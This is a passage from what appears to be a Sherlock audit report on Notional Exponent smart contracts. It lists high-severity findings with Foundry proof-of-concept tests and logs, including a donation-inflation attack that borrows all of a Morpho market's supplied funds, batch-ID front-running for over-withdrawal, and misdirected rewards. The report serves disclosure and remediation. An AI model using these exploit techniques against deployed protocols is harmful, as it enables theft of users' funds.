3. Borrow the entire YieldStrategy/asset morpho market
4. Finalize the withdrawal request, get back the collaterals

Impact

All supplied funds to morpho market will be lost.

PoC

```
// forge test --match-test test_Drain_MorphoSuppliers_ByInflationDonation -vv
    function test_Drain_MorphoSuppliers_ByInflationDonation() public {
        vm.skip(address(managers[stakeTokenIndex]) == address(0));

        console.log("Asset is", IERC20Metadata(address(asset)).symbol());

        address tapir = address(69);
        deal(address(asset), tapir, defaultDeposit);
        _enterPosition(tapir, defaultDeposit, 0);
        uint256 balanceBefore = lendingRouter.balanceOfCollateral(tapir,
        ↪  address(y));

        console.log("Effective supply before initiate withdraw: ",
        ↪  y.effectiveSupply());
```

```
console.log("Price before initiate withdraw: ", y.price());

MarketParams memory marketParams =
↪  MorphoLendingRouter(address(lendingRouter)).marketParams(address(y));
Position memory position =
↪  MORPHO.position(Id.wrap(keccak256(abi.encode(marketParams))), tapir);
uint maxBorrow = position.collateral * y.price() / 1e36;
console.log("Max borrow is: ", maxBorrow);

vm.startPrank(tapir);
lendingRouter.initiateWithdraw(tapir, address(y),
↪  getWithdrawRequestData(tapir, balanceBefore));

position = MORPHO.position(Id.wrap(keccak256(abi.encode(marketParams))),
↪  tapir);
maxBorrow = position.collateral * y.price() / 1e36;
console.log("Max borrow after initiate withdraw: ", maxBorrow);

console.log("Effective supply after initiate withdraw: ",
↪  y.effectiveSupply());
console.log("Price after initiate withdraw: ", y.price());

deal(address(y.yieldToken()), tapir, 1e18);
console.log("Yield token of the vault: ",
↪  IERC20Metadata(address(y.yieldToken())).symbol());
IERC20(y.yieldToken()).transfer(address(y), 1e18);

position = MORPHO.position(Id.wrap(keccak256(abi.encode(marketParams))),
↪  tapir);
maxBorrow = position.collateral * y.price() / 1e36;
console.log("Max borrow after donation: ", maxBorrow);

console.log("Effective supply after donation: ", y.effectiveSupply());
console.log("Price after donation: ", y.price());

Id idx = Id.wrap(keccak256(abi.encode(marketParams)));
Market memory market = MORPHO.market(idx);
console.log("Total supplied", market.totalSupplyAssets);
console.log("Total borrowed", market.totalBorrowAssets);

uint256 borrowable = market.totalSupplyAssets - market.totalBorrowAssets;
console.log("Borrowable is", borrowable);

MORPHO.borrow(marketParams, borrowable, 0, tapir, tapir);
console.log("Effective supply after borrow: ", y.effectiveSupply());

position = MORPHO.position(idx, tapir);
console.log("collateral", position.collateral);
console.log("borrowShares", position.borrowShares);
```

```
        maxBorrow = position.collateral * y.price() / 1e36;
        uint canBorrow = maxBorrow - position.borrowShares;
        console.log("Can borrow is", canBorrow); // STILL EXTREMELY HIGH!
    }
```

Logs: Ran 1 test for tests/TestSingleSidedLPStrategyImpl.sol:Test_LP_Curve_sDAI_sUSDe [PASS] test_Drain_MorphoSuppliers_ByInflationDonation() (gas: 2739684) Logs: Asset is USDC Effective supply before initiate withdraw: 8724580706403393214704000000 Price before initiate withdraw: 1145196000000000000 Max borrow is: 9991354926 Max borrow after initiate withdraw: 9991354926 Effective supply after initiate withdraw: 1000000 Price after initiate withdraw: 1145196000000000000 Yield token of the vault: MtEthena-gauge Max borrow after donation: 9991362815231220073495623667 Effective supply after donation: 1000000 Price after donation: 1145196904178796121145196000000000000 // HUGE Total supplied 500000000000 Total borrowed 0 Borrowable is 500000000000 Effective supply after borrow: 1000000 collateral 8724580706403393214703000000 borrowShares 5000000000000000000 Can borrow is 9991362814731220073495623667

Mitigation

tbd

Discussion

jeffywu

Fix is to disable borrowing directly from Morpho altogether: https://github.com/notional-finance/notional-v4/pull/10/files
allowbreak
#diff-2ac57114dd95cd7f2ec36fb64d9895e7ac22e0f702c03de327ed3cead58642f8R130

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/10/files
allowbreak
#diff-2ac57114dd95cd7f2ec36fb64d9895e7ac22e0f702c03de327ed3cead58642f8R130

Issue H-3: `DineroWithdrawRequestManager` vulnerable to token overwithdrawal via batch ID overlap

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/297

Found by

0xc0ffEE, Atharv, Ledger_Patrol, Ragnarok, Schnilch, X0sauce, aman, hgrano, seeques, xiaoming90

Summary

Some users may profit while others incur losses because the `DineroWithdrawRequestManager` contract does not track the balance of each `upxETH` token per withdrawal request, even though a single `upxETH` token may be associated with multiple requests.

Root Cause

When a user initiates a withdrawal request through `DineroWithdrawRequestManager`, the contract executes the `_initiateWithdrawImpl()` function. This function captures `PirexETH.batchId()` before and after calling `PirexETH::initiateRedemption()`:

DineroWithdrawRequestManager::_initiateWithdrawImpl() function:

```
function _initiateWithdrawImpl(
    address /* account */,
    uint256 amountToWithdraw,
    bytes calldata /* data */
) override internal returns (uint256 requestId) {
      ...
=>    uint256 initialBatchId = PirexETH.batchId();
      pxETH.approve(address(PirexETH), amountToWithdraw);
      PirexETH.initiateRedemption(amountToWithdraw, address(this), false);
=>    uint256 finalBatchId = PirexETH.batchId();
      uint256 nonce = ++s_batchNonce;

=>    return nonce << 240 | initialBatchId << 120 | finalBatchId;
  }
```

When the user later finalizes the withdrawal via `_finalizeWithdrawImpl()`, the contract attempts to redeem all `upxETH` tokens within the range `[initialBatchId, finalBatchId]`:

```
function _finalizeWithdrawImpl(
    address /* account */,
```

```
    uint256 requestId
) internal override returns (uint256 tokensClaimed, bool finalized) {
    finalized = canFinalizeWithdrawRequest(requestId);

    if (finalized) {
        (uint256 initialBatchId, uint256 finalBatchId) = _decodeBatchIds(requestId);

=>      for (uint256 i = initialBatchId; i <= finalBatchId; i++) {
=>          uint256 assets = upxETH.balanceOf(address(this), i);
            if (assets == 0) continue;
            PirexETH.redeemWithUpxEth(i, assets, address(this));
            tokensClaimed += assets;
        }
    }

    WETH.deposit{value: tokensClaimed}();
}
```

After this, `upxETH.balanceOf(address(this), i)` for all `i` in the range `[initialBatchId, finalBatchId]` becomes 0.

On the other hand, `initialBatchId` and `finalBatchId` may overlap across multiple withdrawal requests due to the logic inside `PirexETH::initiateRedemption()`, which internally calls `PirexEthValidators::_initiateRedemption()`:

```
function _initiateRedemption(
    uint256 _pxEthAmount,
    address _receiver,
    bool _shouldTriggerValidatorExit
) internal {
    pendingWithdrawal += _pxEthAmount;

    while (pendingWithdrawal / DEPOSIT_SIZE != 0) {
        uint256 _allocationPossible = DEPOSIT_SIZE + _pxEthAmount -
         ↪  pendingWithdrawal;

=>      upxEth.mint(_receiver, batchId, _allocationPossible, "");
        ...
        batchIdToValidator[batchId++] = _pubKey;
        status[_pubKey] = DataTypes.ValidatorStatus.Withdrawable;
    }
    ...
    if (_pxEthAmount > 0) {
=>      upxEth.mint(_receiver, batchId, _pxEthAmount, "");
    }
}
```

This can lead to some users benefiting at the expense of others. Consider the following scenario:

1. User A initiates a withdrawal request, associated with `upxETH` token IDs 1 and 2.
2. User B then initiates a withdrawal request, associated with token IDs 2 and 3.
3. User A finalizes their request and redeems all ETH from token IDs 1 and 2, even though ID 2 is also tied to User B's request. User A withdraws more than intended.
4. When User B finalizes their request, the balance of token ID 2 is already 0. Thus, they only receive the ETH from token ID 3.

A malicious user can exploit this behavior by front-running another user's withdrawal request, intentionally causing batch ID overlaps and withdrawing more tokens than intended.

Impact

A malicious user can:

- Withdraw more tokens than they should by front-running others.
- Cause financial loss to other users.

Mitigation

Update the `DineroWithdrawRequestManager` contract to track `upxETH` balances per withdrawal request:

Add state variables:

```
mapping(uint256 requestId => mapping(uint256 batchId => uint256 balance))
 ↪  upxETHBalanceOfRequest;
mapping(uint256 batchId => uint256 balance) latestUpxETHBalance;
```

Modify `_initiateWithdrawImpl`:

```
function _initiateWithdrawImpl(
    address /* account */,
    uint256 amountToWithdraw,
    bytes calldata /* data */
) override internal returns (uint256 requestId) {
    ...
    // Initial and final batch ids may overlap between requests so the nonce is
     ↪  used to ensure uniqueness
-   return nonce << 240 | initialBatchId << 120 | finalBatchId;
+   requestId = nonce << 240 | initialBatchId << 120 | finalBatchId;

+   for (uint256 i = initialBatchId; i <= finalBatchId; i += 1) {
+       uint256 currentBalance = upxETH.balanceOf(address(this), i);
+       upxETHBalanceOfRequest[requestId][i] =  currentBalance -
 ↪  latestUpxETHBalance[i];
+       latestUpxETHBalance[i] = currentBalance;
```

```
+   }

}
```

Modify `_finalizeWithdrawImpl`:

```
function _finalizeWithdrawImpl(
    address /* account */,
    uint256 requestId
) internal override returns (uint256 tokensClaimed, bool finalized) {
    finalized = canFinalizeWithdrawRequest(requestId);

    if (finalized) {
        (uint256 initialBatchId, uint256 finalBatchId) = _decodeBatchIds(requestId);

        for (uint256 i = initialBatchId; i <= finalBatchId; i++) {
-           uint256 assets = upxETH.balanceOf(address(this), i);
+           uint256 assets = upxETHBalanceOfRequest[requestId][i];
            if (assets == 0) continue;
            PirexETH.redeemWithUpxEth(i, assets, address(this));
            tokensClaimed += assets;
+           latestUpxETHBalance[i] -= assets;
        }
    }

    WETH.deposit{value: tokensClaimed}();
}
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/20

Issue H-4: When users borrow directly from Morpho price of the collateral will not be accurate

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/450

Found by

mstpr-brainbot, rudhra1749

Summary

When users have a withdrawal request, the Morpho price oracle will price the request based on the requested value instead of the share amount. However, if users choose to borrow directly from Morpho bypassing the lending router the shares will be priced based on their raw share value, not the request value.

Root Cause

As seen in the following lines:

- AbstractYieldStrategy.sol#L118-L120
- AbstractSingleSidedLP.sol#L300-L303

If the transient `t_currentAccount` variable is set and the user has a withdrawal request, then the price will be based on the withdrawal request value. However, if the user is borrowing **directly** not via the lending router the `t_currentAccount` is never set. This causes the call to fall back to `super.convertToAssets(shares)`, which prices based on yield token holdings instead.

This introduces a discrepancy: a user with an active withdrawal request is not holding yield tokens, but their shares will still be priced as if they are—potentially leading to mispricing or incorrect collateral valuation.

Internal Pre-conditions

1. Request a withdrawal and borrow from MORPHO directly not via lending router

External Pre-conditions

None needed

Attack Path

Happens naturally

Impact

Oracle will misprice the users collateral. Users shares are not corresponding to yield tokens but withdrawal request underlying tokens but the oracle will price them wrong!

PoC

```
// forge test --match-test test_price_Inconsistency -vv
    function test_price_Inconsistency() public {

        console.log("Asset is", IERC20Metadata(address(asset)).symbol());

        address tapir = msg.sender;
        // deal(address(asset), msg.sender, defaultDeposit);
        _enterPosition(tapir, defaultDeposit, 0);
        uint256 balanceBefore = lendingRouter.balanceOfCollateral(tapir,
        ↪   address(y));

        vm.startPrank(tapir);
        lendingRouter.initiateWithdraw(tapir, address(y),
        ↪   getWithdrawRequestData(tapir, balanceBefore));

        MarketParams memory marketParams =
        ↪   MorphoLendingRouter(address(lendingRouter)).marketParams(address(y));
        Id idx = Id.wrap(keccak256(abi.encode(marketParams)));
        address oracle = marketParams.oracle;

        console.log("Price of the asset is", IOracle(oracle).price());
        console.log("Price of the vault is", y.price(tapir));
    }
```

Test Logs: Ran 1 test for tests/TestSingleSidedLPStrategyImpl.sol:Test_LP_Curve_pxETH_ETH [PASS] test_price_Inconsistency() (gas: 1904287) Logs: Asset is WETH Price of the asset is 1001461263579509710000000000000 Price of the vault is 1001459261273599425000000000000

Mitigation

tbd

Discussion

jeffywu

The fix removes the ability to borrow from Morpho directly:
https://github.com/notional-finance/notional-v4/pull/10/files
allowbreak
#diff-2ac57114dd95cd7f2ec36fb64d9895e7ac22e0f702c03de327ed3cead58642f8R130

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/10/files
allowbreak
#diff-2ac57114dd95cd7f2ec36fb64d9895e7ac22e0f702c03de327ed3cead58642f8R130

Issue H-5: `migrateRewardPool` Fails Due to Incompatible Storage Design in `CurveConvexLib`

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/485

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

Ledger_Patrol, bretzel, mstpr-brainbot, tjonair, xiaoming90

Summary

The migrateRewardPool function in the `AbstractRewardManager` contract is designed to migrate rewards from an old Convex reward pool to a new one by updating internal storage, withdrawing from old reward pool and depositing into the new reward pool. This mechanism relies on writing to local storage slots (e.g., `_getRewardPoolSlot()`), via delegatecall from a yield strategy contract.

In practice, this fails because when `CurveConvex2Token` is deployed, it deploys `CurveConvexLib`, where reward pool address is immutable. The `CurveConvex2Token` stores the address of `CurveConvexLib` into another immutable variable.

Since the reward pool address is immutable in `CurveConvexLib`, whenever Lp token is minted, the `CurveConvex2Token` deposit them to the same reward pool even if reward pool is changed in reward manager. There is no migration possible in `CurveConvex2Token`. This breaks the core migration functionality, despite the function being exposed and annotated for use when the reward pool changes.

This violates the IRewardManager interface contract NATSPEC, which states that `migrateRewardPool` should be used both initially and when the reward pool changes – of which reward pool change can be accomplished properly in this case.

Root Cause

None

Internal Pre-conditions

None

External Pre-conditions

Convex protocol can decide to deprecate an old pool and create a new one

Attack Path

None

Impact

Reward pool cannot be changed when convex migrates to a new reward pool

PoC

No response

Mitigation

Create a migration logic for `CurveConvex2Token` where reward pool can be migrated from one to another

Discussion

jeffywu

Migrations to a new reward pool require an upgrade to the contract. See this corresponding test: https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/tests/TestRewardManager.sol
allowbreak #L63

Issue H-6: DoS might happen to `DineroWithdrawRequestManager#_initiateWithdrawImpl()` due to overflow on `++s_batchNonce`

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/580

Found by

0xpiken, HeckerTrieuTien, Ledger_Patrol, Ragnarok, X0sauce, heavyw8t, y4y

Summary

When `DineroWithdrawRequestManager#initiateWithdraw()` is called to initiate WETH withdrawal, DineroWithdrawRequestManager#_initiateWithdrawImpl() will be executed to initiate a redemption from `PirexETH`:

```
    function _initiateWithdrawImpl(
        address /* account */,
        uint256 amountToWithdraw,
        bytes calldata /* data */
    ) override internal returns (uint256 requestId) {
        if (YIELD_TOKEN == address(apxETH)) {
            // First redeem the apxETH to pxETH before we initiate the redemption
            amountToWithdraw = apxETH.redeem(amountToWithdraw, address(this),
             ↪  address(this));
        }

        uint256 initialBatchId = PirexETH.batchId();
        pxETH.approve(address(PirexETH), amountToWithdraw);
        // TODO: what do we put for should trigger validator exit?
        PirexETH.initiateRedemption(amountToWithdraw, address(this), false);
        uint256 finalBatchId = PirexETH.batchId();
@>      uint256 nonce = ++s_batchNonce;

        // May require multiple batches to complete the redemption
        require(initialBatchId < MAX_BATCH_ID);
        require(finalBatchId < MAX_BATCH_ID);
        // Initial and final batch ids may overlap between requests so the nonce is
        ↪  used to ensure uniqueness
        return nonce << 240 | initialBatchId << 120 | finalBatchId;
    }
```

The returned `requestId` is composed by three variables: `nonce`, `initialBatchId`, and `finalBatchId`. `nonce` is calculated as below:

```
uint256 nonce = ++s_batchNonce;
```

However, `s_batchNonce` is a `uint16` variable. Once its value reaches `65535`, then `++s_batchNonce` will revert the whole `initiateWithdraw()` function, resulting no one can withdraw WETH though `DineroWithdrawRequestManager`. Anyone asset deposited through `DineroWithdrawRequestManager` will be locked forever.

Root Cause

The capacity of `s_batchNonce` is too small.

Internal Pre-conditions

No response

External Pre-conditions

No response

Attack Path

Malicious attacker can call `DineroWithdrawRequestManager#stakeTokens()` and `DineroWithdrawRequestManager#initiateWithdraw()` repeatedly with different accounts through an approved vault to quickly increase `s_batchNonce` to `65535`.

Impact

Once `s_batchNonce` reaches `65535`, `DineroWithdrawRequestManager#initiateWithdraw()` call will always revert and no any WETH can be withdrawn from `DineroWithdrawRequestManager`.

PoC

No response

Mitigation

The reason that defining `s_batchNonce` as `uint16` is that `s_batchNonce` will be used together with two `uint120` variables to make a `uint256` variable:

```
return nonce << 240 | initialBatchId << 120 | finalBatchId;
```

Since `PirexETH.batchId()` will increase one time only every 32 ether redemption, it is unnecessary to record two batchIds in `requestId`. `requestId` can be redesigned as below:

Where `uint16 deltaBatchId = finalBatchId - initialBatchId` Then `s_batchNonce` can be defined as a `uint120` variable.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/20/files

Issue H-7: `RewardManagerMixin.claimAccountRewards` lacks of necessary param check.

Source: https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/624

Found by

Bluedragon, BugsBunny, elolpuer, jasonxiale, patitonar

Summary

In current implementation, `RewardManagerMixin.claimAccountRewards` function doesn't check `account` paramm, if the `MORPHO` is passed in as `account`, rewards will be transferred to `MORPHO`. Which isn't correct.

Root Cause

1. As RewardManagerMixin.claimAccountRewards shows, the function can be called by anyone, and the `account` param can be any address.
2. If the `msg.sender` isn't a lending router, the `sharesHeld` will be calculated by `balanceOf(account)` in RewardManagerMixin.sol#L160-L164

```
155     function claimAccountRewards(
156         address account,
157         uint256 sharesHeld
158     ) external nonReentrant returns (uint256[] memory rewards) {
159         uint256 effectiveSupplyBefore = effectiveSupply();
160         if (!ADDRESS_REGISTRY.isLendingRouter(msg.sender)) {
161             // If the caller is not a lending router we get the shares held in a
162             // native token account.
163             sharesHeld = balanceOf(account);
164         }
...
177     }
```

3. While a normal user calls `AbstractLendingRouter.enterPosition` to enter a vault, the vault will mint vaultToken in AbstractLendingRouter.sol#L241, and the vaultToken will be transferred to MORPHO in AbstractLendingRouter.sol#L244 **So after `AbstractLendingRouter.enterPosition`, MORPHO's vaultToken balance will increase.**

So if `MORPHO` is passed to `RewardManagerMixin.claimAccountRewards`, it'll get reward tokens, which isn't correct.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

The malicious calls `AbstractLendingRouter.enterPosition` with MORPHO address as `account`.

Please apply the following patch in `tests/TestRewardManager.sol` and run

```
forge test --mc TestRewardManager --mt test_liquidate_withRewards -vv
[ ] Compiling...
No files changed, compilation skipped

Ran 1 test for tests/TestRewardManager.sol:TestRewardManager
[PASS] test_liquidate_withRewards() (gas: 1519209)
Logs:
  y.balanceOf                               : 0
  y.balanceOf                               : 5000000000000000000000000000
  y                                         :
  ↪  0x1d1499e622D69689cdf9004d05Ec547d650Ff211
  rewardToken.balanceOf(MorPho)             : 0
  emissionsToken.balanceOf(MorPho)          : 0
  rewardToken.balanceOf(liquidator)         : 0
  emissionsToken.balanceOf(liquidator)      : 0
  rewardToken.balanceOf(MorPho)             : 119999671233240000000000
  emissionsToken.balanceOf(MorPho)          : 1090909080000000000
  rewardToken.balanceOf(liquidator)         : 0
  emissionsToken.balanceOf(liquidator)      : 454545450000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 532.76ms (11.83ms CPU
↪  time)

Ran 1 test suite in 628.60ms (532.76ms CPU time): 1 tests passed, 0 failed, 0
↪  skipped (1 total tests)
```

As above output shows, MORPHO get rewards, which isn't correct.

```
diff --git a/notional-v4/tests/TestRewardManager.sol
↪  b/notional-v4/tests/TestRewardManager.sol
index dfdd463..286db0a 100644
--- a/notional-v4/tests/TestRewardManager.sol
+++ b/notional-v4/tests/TestRewardManager.sol
```

```diff
@@ -10,6 +10,7 @@ import "../src/withdraws/GenericERC20.sol";
 import {AbstractRewardManager, RewardPoolStorage} from
 ↪  "../src/rewards/AbstractRewardManager.sol";
 import {RewardManagerMixin} from "../src/rewards/RewardManagerMixin.sol";
 import {ConvexRewardManager} from "../src/rewards/ConvexRewardManager.sol";
+import {console2} from "forge-std/src/console2.sol";

 contract TestRewardManager is TestMorphoYieldStrategy {
     IRewardManager rm;
@@ -337,7 +338,10 @@ contract TestRewardManager is TestMorphoYieldStrategy {
         }
     }

-    function test_liquidate_withRewards(bool hasEmissions, bool hasRewards, bool
↪  isPartialLiquidation) public {
+    function test_liquidate_withRewards() public {
+        bool hasEmissions = true;
+        bool hasRewards  = true;
+        bool isPartialLiquidation = true;
         int256 originalPrice = o.latestAnswer();
         address liquidator = makeAddr("liquidator");
         if (hasEmissions) {
@@ -365,7 +369,9 @@ contract TestRewardManager is TestMorphoYieldStrategy {
         asset.approve(address(lendingRouter), type(uint256).max);
         uint256 sharesToLiquidate = isPartialLiquidation ? sharesBefore / 2 :
         ↪  sharesBefore;
         // This should trigger a claim on rewards
+        console2.log("y.balanceOf                             :",
↪  y.balanceOf(address(liquidator)));
         uint256 sharesToLiquidator = lendingRouter.liquidate(msg.sender,
         ↪  address(y), sharesToLiquidate, 0);
+        console2.log("y.balanceOf                             :",
↪  y.balanceOf(address(liquidator)));
         vm.stopPrank();

         if (hasRewards) assertApproxEqRel(rewardToken.balanceOf(msg.sender),
         ↪  expectedRewards, 0.0001e18, "Liquidated account shares");
@@ -380,21 +386,22 @@ contract TestRewardManager is TestMorphoYieldStrategy {
         if (hasEmissions) vm.warp(block.timestamp + 1 days);
         uint256 emissionsForLiquidator = 1e18 * sharesToLiquidator /
         ↪  y.totalSupply();

+        console2.log("y                                       :", address(y));
+        console2.log("rewardToken.balanceOf(MorPho)           :",
↪  rewardToken.balanceOf(address(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb)));
+        console2.log("emissionsToken.balanceOf(MorPho)        :",
↪  emissionsToken.balanceOf(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb));
+        console2.log("rewardToken.balanceOf(liquidator)       :",
↪  rewardToken.balanceOf(liquidator));
```

```
+        console2.log("emissionsToken.balanceOf(liquidator)    :",
 ↪  emissionsToken.balanceOf(liquidator));
         // This second parameter is ignored because we get the balanceOf from
         // the contract itself.
+        vm.startPrank(address(0xa1a2bbccddeeff));
+        RewardManagerMixin(address(rm)).claimAccountRewards(address(0xBBBBBbbBBb9c⌋
 ↪  C5e90e3b3Af64bdAF62C37EEFFCb), type(uint256).max);
+        vm.stopPrank();
         RewardManagerMixin(address(rm)).claimAccountRewards(liquidator,
          ↪  type(uint256).max);

-        uint256 expectedRewardsForLiquidator = hasRewards ?
 ↪  y.convertSharesToYieldToken(sharesToLiquidator) : 0;
-        if (hasRewards) assertApproxEqRel(rewardToken.balanceOf(liquidator),
 ↪  expectedRewardsForLiquidator, 0.0001e18, "Liquidator account rewards");
-        if (hasEmissions) assertApproxEqRel(emissionsToken.balanceOf(liquidator),
 ↪  emissionsForLiquidator, 0.0010e18, "Liquidator account emissions");
-
-        vm.prank(msg.sender);
-        lendingRouter.claimRewards(address(y));
-        uint256 sharesAfterUser = lendingRouter.balanceOfCollateral(msg.sender,
 ↪  address(y));
-        uint256 emissionsForUserAfter = 1e18 * sharesAfterUser / y.totalSupply();
-
-        if (hasRewards) assertApproxEqRel(rewardToken.balanceOf(msg.sender),
 ↪  expectedRewards + expectedRewards - expectedRewardsForLiquidator, 0.0001e18,
 ↪  "Liquidated account rewards");
-        if (hasEmissions) assertApproxEqRel(emissionsToken.balanceOf(msg.sender),
 ↪  emissionsForUser + emissionsForUserAfter, 0.0010e18, "Liquidated account
 ↪  emissions");
+        console2.log("rewardToken.balanceOf(MorPho)           :",
 ↪  rewardToken.balanceOf(address(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb)));
+        console2.log("emissionsToken.balanceOf(MorPho)        :",
 ↪  emissionsToken.balanceOf(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb));
+        console2.log("rewardToken.balanceOf(liquidator)       :",
 ↪  rewardToken.balanceOf(liquidator));
+        console2.log("emissionsToken.balanceOf(liquidator)    :",
 ↪  emissionsToken.balanceOf(liquidator));
     }

     function test_migrate_withRewards(bool hasEmissions, bool hasRewards) public {
@@ -761,4 +768,4 @@ contract TestRewardManager is TestMorphoYieldStrategy {
         assertEq(rewardToken.balanceOf(msg.sender), rewardsBefore1, "User account
          ↪  rewards no change");
     }

-}
\ No newline at end of file
+}
```

Impact

Becase MORPHO will owns most of vaultToken, most of the rewards will be transferred to MORPHO, leading users get less rewards

PoC

No response

Mitigation

No response

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/16/files

Issue H-8: Incorrect assumption that one (1) Pendle Standard Yield (SY) token is equal to one (1) Yield Token when computing the price in the oracle

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/689

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

mstpr-brainbot, xiaoming90

Summary

-

Root Cause

- Incorrect assumption that one (1) Pendle Standard Yield (SY) token is equal to one (1) Yield Token when computing the price in the oracle

Internal Pre-conditions

-

External Pre-conditions

-

Attack Path

When deploying the Pendle yield strategy, the deployer can choose to set the `useSyOracleRate_` to true or false. If `useSyOracleRate_` is set to true, the `PENDLE_ORACLE.getPtToSyRate()` function will be used to get the PT rate.

An example of such a setup is shown in the test script provided with the codebase, where the `useSyOracleRate_` setting is set to true in Line 115 below.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/tests/TestPTStrategyImpl.sol#L111

```
File: TestPTStrategyImpl.sol
    function deployYieldStrategy() internal override {
        strategyName = "Pendle PT";
        address(deployCode("PendlePTLib.sol:PendlePTLib"));

        setMarketVariables();
        bool isSUSDe = tokenOut == address(sUSDe);

..SNIP..
        }

        w = ERC20(y.yieldToken());
        // NOTE: is tokenOut the right token to use here?
        (AggregatorV2V3Interface baseToUSDOracle, ) = TRADING_MODULE.priceOracles(address(tokenOut));
        PendlePTOracle pendleOracle = new PendlePTOracle(
            market,
            baseToUSDOracle,
            false,
            true, // @audit-info useSyOracleRate_
            15 minutes,
            "Pendle PT",
            address(0)
        );

        o = new MockOracle(pendleOracle.latestAnswer());
    }
```

When the `useSyOracleRate` is set to true, `PENDLE_ORACLE.getPtToSyRate()` function in Line 63 below will be used to get the PT rate. Note that `getPtToSyRate` will return how much Pendle's Standard Yield (SY) token per PT token.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/oracles/PendlePTOracle.sol#L63

```
File: PendlePTOracle.sol
61:     function _getPTRate() internal view returns (int256) {
62:         uint256 ptRate = useSyOracleRate ?
63:             PENDLE_ORACLE.getPtToSyRate(pendleMarket, twapDuration) :
64:             PENDLE_ORACLE.getPtToAssetRate(pendleMarket, twapDuration);
65:         return ptRate.toInt();
66:     }
```

Note that Chainlink or other oracle providers do not provide a price feed directly for the Pendle SY token.

The root cause here is that the codebase incorrectly assumes the price of Pendle SY Token is always equivalent to the Yield Token. Thus, the protocol assumes that it is fine to use the price feed for the Yield Token for Pendle SY Token when computing the price. While this is generally true, it is not always the case that 1 SY == 1 Yield Token.

Not all SY contracts will burn one (1) SY share and return one (1) yield token back. Inspecting the Pendle's source code reveals that for some SY contracts, some redemptions will involve withdrawing/redemption from external staking protocol or performing swaps, which might suffer from slippage or fees.

Below is the Pendle's `SY.redeem` function showing that slippage might occur during the exchange, and thus 1 SY == 1 Yield Token does not always hold.

https://github.com/pendle-finance/pendle-core-v2-public/blob/46d13ce4168e8c5ad9e5641dd6380fea69e48490/contracts/interfaces/IStandardizedYield.sol#L87

```
File: IStandardizedYield.sol
74:     /**
75:      * @notice redeems an amount of base tokens by burning some shares
76:      * @param receiver recipient address
77:      * @param amountSharesToRedeem amount of shares to be burned
78:      * @param tokenOut address of the base token to be redeemed
79:      * @param minTokenOut reverts if amount of base token redeemed is lower than this
80:      * @param burnFromInternalBalance if true, burns from balance of `address(this)`, otherwise burns from `msg.sender`
81:      * @return amountTokenOut amount of base tokens redeemed
82:      * @dev Emits a {Redeem} event
83:      *
84:      * Requirements:
85:      * - (`tokenOut`) must be a valid base token.
86:      */
87:     function redeem(
88:         address receiver,
89:         uint256 amountSharesToRedeem,
90:         address tokenOut,
91:         uint256 minTokenOut,
92:         bool burnFromInternalBalance
93:     ) external returns (uint256 amountTokenOut);
```

The following `_calculateBaseToQuote()` function will be used to compute how many asset tokens are worth per PT token. Assume that `useSyOracleRate_` is true.

- The `baseToUSD` will return how many asset tokens per Yield Token. Only the price feed of Yield token is supported by Chainlink and other oracle providers.
- The `_getPTRate` will return how many Pendle SY tokens per PT token

The following formula is used to compute how many asset tokens are worth per PT token:

```
(asset tokens per PT) = (asset tokens per Yield Token) * (Pendle SY tokens per PT token)
```

This formula will only work if `Yield Token` is equivalent to `Pendle SY tokens`. However, as mentioned earlier, this is not true. In some cases, one Pendle SY token might be worth 0.95 Yield Token. In this case, the price returned will be inflated since it assumes that 1 SY == 1 Yield Token.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/oracles/PendlePTOracle.sol#L68

```
File: PendlePTOracle.sol
68:     function _calculateBaseToQuote() internal view override returns (
69:         uint80 roundId,
70:         int256 answer,
71:         uint256 startedAt,
72:         uint256 updatedAt,
73:         uint80 answeredInRound
74:     ) {
75:         int256 baseToUSD;
76:         (
77:             roundId,
78:             baseToUSD,
79:             startedAt,
80:             updatedAt,
81:             answeredInRound
82:         ) = baseToUSDOracle.latestRoundData();
83:         require(baseToUSD > 0, "Chainlink Rate Error");
84:         // Overflow and div by zero not possible
85:         if (invertBase) baseToUSD = (baseToUSDDecimals * baseToUSDDecimals) / baseToUSD;
86:
87:         int256 ptRate = _getPTRate();
88:         answer = (ptRate * baseToUSD) / baseToUSDDecimals;
89:     }
```

Impact

High. Price computed will be inflated, leading collateral to be overvalued. As a result, users are allowed to borrow more than expected, affecting the protocol's solvency and increasing the risk of bad debt.

PoC

No response

Mitigation

No response

Discussion

T-Woodward

This is an issue that will be managed through proper parameter choices, not code.

All SY tokens give you the option to redeem to a matching token (i.e. rsETH SY -> rsETH). If redeeming to the matching token, there will not be a fee or a trade and one SY will equal one yield token.

So we'll just make sure to always redeem to the matching token and double check the SY's redemption function when we list new vaults.

Issue H-9: Hardcoded `useEth = true` in `remove_liquidity_one_coin` or `remove_liquidity` lead to stuck fund

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/691

Found by

elolpuer, xiaoming90

Summary

-

Root Cause

-

Internal Pre-conditions

-

External Pre-conditions

-

